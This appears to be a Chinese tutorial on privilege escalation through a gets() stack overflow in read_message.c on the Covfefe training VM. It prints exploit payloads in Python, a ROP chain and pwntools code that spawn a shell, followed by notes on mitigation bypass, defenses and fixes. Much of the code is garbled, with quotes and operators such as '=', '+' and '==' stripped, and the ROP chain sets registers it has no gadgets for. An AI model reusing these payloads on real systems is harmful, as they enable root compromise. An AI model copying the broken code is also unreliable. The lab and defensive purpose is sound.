Linux缓冲区溢出提权实战:Covfefe靶场read_message.c漏洞分析与利用

发布时间:2026/7/11 21:44:44
Linux缓冲区溢出提权实战:Covfefe靶场read_message.c漏洞分析与利用 Linux缓冲区溢出提权实战从原理到Exploit构建漏洞环境搭建与初步分析在开始之前我们需要明确缓冲区溢出漏洞的基本概念。当程序向固定长度的缓冲区写入超过其容量的数据时就会发生缓冲区溢出。这种溢出可能覆盖相邻的内存区域包括关键的返回地址从而为攻击者提供控制程序执行流程的机会。本次实战环境基于Covfefe靶机目标程序是read_message.c关键漏洞函数是gets()。我们先来看这个漏洞程序的完整代码#include stdio.h #include string.h void secret_function() { printf(Congratulations! Youve executed the secret function!\n); system(/bin/sh); } int main() { char buf[20]; printf(Enter your message: ); gets(buf); // 危险的函数调用 if(strncmp(buf, simon, 5) 0) { printf(Hello Simon, your message is: %s\n, buf); } else { printf(Unauthorized user!\n); } return 0; }这个程序有几个关键特点使用gets()函数读取用户输入没有任何长度检查定义了一个20字节的缓冲区buf包含一个未直接调用的secret_function()能提供shell访问栈内存布局与溢出原理要理解如何利用这个漏洞我们需要分析程序运行时的栈内存布局。在x86架构中函数调用时的典型栈帧结构如下内存地址内容高地址调用者的栈帧参数返回地址保存的帧指针(EBP)局部变量(buf)低地址...对于我们的read_message.c程序当main()函数执行时栈上会依次布置buf数组20字节保存的EBP指针4字节返回地址4字节当gets()读取超过24字节的数据时就会开始覆盖保存的EBP超过28字节时就会覆盖返回地址从而控制程序执行流程。漏洞利用开发步骤1. 确定偏移量首先需要确定从缓冲区开始到返回地址的准确偏移量。我们可以使用模式创建工具如Metasploit的pattern_create.rb来生成唯一字符串/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50将生成的字符串作为输入当程序崩溃时观察EIP的值然后使用pattern_offset.rb计算精确偏移/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q [EIP值]2. 定位secret_function地址我们需要获取secret_function()的内存地址这可以通过objdump或gdb实现objdump -d read_message | grep secret_function或在gdb中(gdb) p secret_function假设找到的地址是0x0804846b需要注意x86是小端架构地址需要反向写入payload。3. 构建Python exploit脚本结合以上信息我们可以编写Python脚本来生成攻击payloadimport struct # 偏移量计算 buf_size 20 padding A * (buf_size 8) # buf EBP # secret_function地址 secret_addr 0x0804846b return_addr struct.pack(I, secret_addr) # 小端格式 # 构造payload payload simon # 通过前5字符检查 payload A * (buf_size - len(payload)) # 填充剩余buf payload padding payload return_addr print(payload)4. 实际利用测试将payload传递给漏洞程序(python exploit.py; cat) | ./read_message成功执行后我们将获得一个root shell如果程序是SUID root的话。高级利用技术ROP链构建如果目标程序没有现成的secret_function我们需要构造更复杂的ROPReturn-Oriented Programming链。这涉及从已有的代码片段gadgets中组合出我们需要的功能。查找可用gadgets使用ROPgadget工具扫描程序ROPgadget --binary read_message构造system(/bin/sh)调用假设我们找到以下关键gadgetspop eax; ret 0x080483aapop ebx; ret 0x080483abint 0x80 0x080483ad以及字符串/bin/sh的地址可以通过环境变量注入我们可以构造如下ROP链import struct # Gadgets地址 pop_eax 0x080483aa pop_ebx 0x080483ab int_80 0x080483ad bin_sh_addr 0xbfffff7b # 示例地址 # 构造ROP链 rop_chain [ pop_eax, 0xb, # execve系统调用号 pop_ebx, bin_sh_addr, 0, # ecx (argv) 0, # edx (envp) int_80 ] # 将ROP链打包为字节序列 rop_payload b.join(struct.pack(I, addr) for addr in rop_chain) # 完整payload payload bsimon bA*15 # 通过检查 payload bA*8 # 覆盖EBP payload rop_payload with open(rop_exploit, wb) as f: f.write(payload)防御措施与缓解技术了解攻击技术的同时我们也需要知道现代系统如何防御缓冲区溢出攻击栈保护(Stack Canary)编译器在栈上插入随机值函数返回前验证其完整性使用-fstack-protector编译选项启用NX/DEP(数据执行保护)标记数据区域为不可执行通过-z noexecstack链接选项启用ASLR(地址空间布局随机化)随机化内存地址增加预测难度通过/proc/sys/kernel/randomize_va_space控制编译时加固gcc -fstack-protector-all -z noexecstack -D_FORTIFY_SOURCE2 -O2 read_message.c -o read_message_secure实战中的变通方法在实际渗透测试中我们可能会遇到各种保护机制的组合。以下是一些应对策略绕过ASLR利用内存泄漏漏洞获取地址暴力破解针对部分随机化使用不依赖绝对地址的技术如ROP绕过NX使用return-to-libc技术构造ROP链利用mprotect()将内存区域标记为可执行绕过Stack Canary通过格式化字符串漏洞泄露canary值覆盖SEH链Windows完全避免覆盖canary部分覆盖技术自动化工具辅助虽然手动开发exploit有助于深入理解但在实际工作中我们可以借助一些工具提高效率GDB增强工具PEDA (Python Exploit Development Assistance)GEF (GDB Enhanced Features)ROP工具链ROPgadgetropper漏洞利用框架Metasploitpwntools例如使用pwntools重写我们的exploitfrom pwn import * context.binary ./read_message p process(./read_message) # 自动查找函数地址 elf ELF(./read_message) secret_func elf.symbols[secret_function] # 构造payload payload bsimon.ljust(20, bA) # 填充buf payload bA*8 # 覆盖EBP payload p32(secret_func) # 覆盖返回地址 p.sendline(payload) p.interactive()漏洞修复建议对于开发者来说修复这类漏洞的关键是永远不要使用不安全的函数替换gets()为fgets()避免使用strcpy,sprintf等使用安全的字符串函数fgets(buf, sizeof(buf), stdin);启用编译器保护gcc -fstack-protector -D_FORTIFY_SOURCE2 -O2 -o safe_program program.c最小权限原则不要轻易给程序SUID权限使用能力(capabilities)而非全root权限扩展思考现代二进制漏洞利用趋势随着基础防护措施的普及传统的栈溢出已变得更具挑战性。现代二进制漏洞利用趋势包括面向返回编程(ROP)利用现有代码片段构造攻击链需要深入理解目标二进制堆利用技术Use-after-freeDouble freeHeap overflow类型混淆漏洞利用程序对对象类型的错误假设JIT spraying针对JavaScript引擎等JIT编译器这些高级技术虽然复杂但基本原理仍源于对内存管理的深入理解缓冲区溢出作为最经典的漏洞类型其分析思路为后续各种漏洞研究奠定了基础。